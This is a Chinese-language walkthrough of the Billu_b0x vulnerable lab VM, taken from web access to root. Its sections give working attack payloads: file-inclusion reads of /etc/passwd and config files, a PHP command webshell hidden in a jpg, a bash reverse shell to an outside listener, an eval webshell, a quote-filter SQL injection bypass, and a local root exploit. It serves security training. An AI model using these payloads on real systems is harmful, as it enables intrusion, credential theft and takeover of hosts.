靶機說明
虛擬機難度中等,使用ubuntu(32位),其他軟件包有:
-
PHP
-
apache
-
MySQL
目標
Boot to root:從Web應用程序進入虛擬機,並獲得root權限。
運行環境
-
靶機:使用VMWare打開虛機,網絡連接方式設置為net,靶機自動獲取IP。
-
攻擊機:同網段下有Windows攻擊機,安裝有Nmap、Burpsuit、Sqlmap、nc、Python2.7、DirBuster、AWVS、Nessus等滲透工具,kali攻擊機,主要用Windows攻擊機完成實驗。
信息收集
-
ip發現
- 首先kali本機的IP為

啟動Billu_b0x虛擬機,由於虛機網絡設置為net模式,使用Nmap掃描VMware Network Adapter VMnet8網卡的NAT網段C段IP,即可找到虛機IP,命令:
nmap -sP 192.168.1.1/24
獲得靶機ip 192.168.1.112
-
端口和服務識別
使用nmap掃描1-65535全端口,並做服務識別和深度掃描(加-A參數),命令:
nmap -p 1-65535 -A 192.168.1.112

發現目標主機端口和服務如下:
端口 協議 后端服務
TCP 22 SSH OpenSSH 5.9p1
TCP 80 HTTP Apache httpd 2.2.22
進入web首頁:發現用戶名口令輸入框,並提示“Show me your SQLI skills”。

漏洞挖掘
-
漏洞挖掘思路:
(1) SQL注入:首頁提示注入,想辦法注入成功。
(2) 暴破目錄:用DirBuster暴破,看是否有新網頁,找新漏洞;
(3) 漏洞掃描:暴破的新網頁,送進AWVS或APPScan掃漏洞;
(4) 手動挖掘:暴破的新頁面,通過Firefox掛burp代理,在burp中觀察Request和Response包,手動找漏洞;
(5) 查看每個網頁的源碼,看是否有提示;。
(6) 如得到用戶名,密碼,嘗試登錄ssh,如能連接上,無需反彈shell了。
-
步驟1:測試首頁SQL注入
(1) 在用戶名輸入框輸入admin' or 'a'='a -- 密碼隨意,發現無法注入,出現js彈框Try again:

(2) 使用sqlmap進行post注入測試,命令:
sqlmap.py -u “http://192.168.1.112” --data "un=admin&ps=admin&login=let%27s+login" --level 3 --dbms mysql

sqlmap注入檢測完成,結果無法注入,目前不知道系統對注入的過濾規則是什么,使用幾個sqlmap的tamper測試也未成功。暫時先不fuzz注入,看看暴破目錄。
-
步驟2:windows使用御劍,DirBuster暴破目錄,同時使用kali Linux的dirb暴破,為得到更多的暴破結果,並減少暴破時間:


得到頁面較多,test.php、add.php、in.php、c.php、index.php、show.php等,目錄有:uploaded_images,phpmy,images依次訪問:
-
步驟3:利用文件包含漏洞獲取php源碼、passwd文件
(1) 訪問test.php:頁面提示file參數為空,需要提供file參數

測試文件包含:http://192.168.1.112?file=/etc/passwd 發現無法包含,頁面沒有反應。

(2) 在Firefox的Hackbar或者Brupsuit中,將get請求,變更為post請求,文件包含成功,獲得passwd文件。

(3) 查看passwd文件,發現1個id 1000的賬號ica,ssh連接的用戶名可以是ica或root:

(4) 通過同樣文件包含的方法,下載add.php、in.php、c.php、index.php、show.php、panel.php等文件,后面可以訪問文件的同時,審計文件的源代碼。

add.php

add.php是一個上傳界面,但是功能無法使用,查看源碼文件發現只是個頁面,沒有后台處理代碼。in.php是php info信息。
-
步驟5:查看c.php源碼
這是數據庫連接文件,發現mysql連接用戶名密碼:
用戶名:billu
密碼:b0x_billu
數據庫名:ica_lab
c.php

-
步驟6:通過得到的mysql密碼登錄phpmyadmin


得到WEB登陸的用戶名

-
步驟7:繼續暴破phpmy目錄,文件包含phpmyadmin配置文件
(1) phpmyadmin的默認的配置文件是:config.inc.php。需要猜測路徑,通過URL猜測路徑默認在/var/www/phpmy下面。
(2) 在火狐瀏覽器的Hackbar或者Burpsuit中,通過文件包含,讀取config.inc.php文件,Hackbar的獲取方法:

-
步驟8:使用xshell ssh登錄root賬號,完成實驗


獲取shell
-
步驟9:登錄index首頁,並獲得cmd shell和反彈shell
(1) 使用web密碼登錄首頁,大小寫必須一樣。

登錄后是賬號管理界面,賬號是加勒比海盜的兩位主角船長:傑克·斯帕羅和巴博薩船長。多寫一句,本人更喜歡巴博薩船長,一個像敵人一樣的海盜朋友,幽默、勇敢、陰險狡詐、霸道野心、老謀深算。
兩個賬號的頭像圖片地址,在之前暴破出來:http://192.168.1.112/uploaded_images/

(2) 點擊add user進入添加賬號界面,這是一個圖片上傳,思路是利用圖片上傳和文件包含獲得shell。

查看之前test文件包含獲得的panel.php源碼,發現panel.php存在本地文件包含漏洞:

下載一張http://192.168.1.112/uploaded_images/中的圖片jack.jpg,文本編輯器打開,在文件中間或末尾加入一句話cmd命令馬
<?php system($_GET['cmd']); ?> 將文件 joker.jpg 上傳成功

(3) 使用burp執行命令: post請求url中加入執行命令的參數:POST/ panel.php?cmd=cat%20/etc/passwd;ls
post的body中包含cmd.jpg圖片馬:load=/uploaded_images/cmd.jpg&continue=continue
成功執行命令cat /etc/passwd;ls

或者在hackbar里面:

(4) 用bash反彈shell
命令:echo "bash -i >& /dev/tcp/192.168.1.109/4444 0>&1" | bash
需要將命令url編碼:

在post的url中發送命令:

nc接收反彈shell成功:

-
步驟12:找一個可寫權限目錄,寫入菜刀馬
文件上傳目錄uploaded_images為寫權限目錄,進入該目錄,寫一個菜刀馬:
echo '<?php eval($_POST['joker']);?>' >> 1.php

查看一下,發現上傳成功

直接菜刀鏈接即可
提升權限
-
步驟13:查看內核、系統版本,尋找提權exp
(1) 查看系統內核版本,命令uanme -a和cat /etc/issue

(2) 下載Ubuntu著名的本地提權漏洞exp:
https://www.exploit-db.com/exploits/37292/

-
步驟14:編譯、提權
(1) 賦予執行權限
chmod 777 37292.c
![]()
(2) 編譯exp,由於權限限制,我們在kali本機上gcc編譯下載好的exp腳本
gcc 37292.c -o exp

執行完代碼,會生成一個exp,直接運行
(3) 執行exp,提權至root

提權之前:

提權之后:

我們現在已經是管理員權限了,完美收官
-------------------------------------------------------------------------------------------------
總結
-
正常的思路有3條路線可以突破:
思路1
構造注入:從test的文件包含獲得index.php源碼,源碼中可查看到過濾sql的方法,針對性構造sql注入,登錄后獲取shell再提權。
(1) 審計index.php源碼,發現以下過濾規則:
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
str_replace的作用是將字符串\' 替換為空,因此構造SQL注入登錄payload時,必須含有\'字符串,否則會報錯。urldecode的作用是將輸入解碼。
(2) 常見的利用注入登錄的payload是' or 1=1 -- 修改這個在最后增加\',str_replace會將這個\'替換為空。
使用php在線調試工具,測試如下:

(3) 注入成功,payload是' or 1=1 -- \'


后面獲取shell方法和上面實驗相同。
思路2:暴破出phpmyadmin,文件包含從c.php獲得mysql密碼,登錄phpmyadmin,再獲取shell。
思路3:文件包含所有有權限查看的配置文件,從phpmyadmin配置文件獲得root密碼,然后ssh登錄。該過程盡管mysql故障,也可以完成。
-
踩到的坑
(1) mysql被高線程目錄暴破和注入宕機:導致phpmyadmin有正確密碼但無法登錄,耗費較長時間。這是意外故障。因為之前的2個工具同時目錄暴破、sqlmap注入等線程過高,導致mysql死了。
(2) test.php文件包含漏洞利用,get不行,改為post試試。包含成功后,要把各個頁面的源代碼拿下來審計。
(3) index.php的SQL注入花費不少時間,后來發現,即使不用sql注入,也有其他道路可以完成,通過phpmyadmin登錄,繞過了注入。
(4) panel.php的文件包含漏洞,如果不認真關注源碼,難以發現。使用test.php的文件包含,沒能觸發shell利用。
(5) 文件上傳+文件包含拿shell是靶機常用的方式,遇到兩個漏洞,可以熟練拿shell。
(6) 提權方法可以多關注主要的配置文件、數據庫連接文件、用戶的文件;也可以利用Ubuntu已知漏洞本地提權。
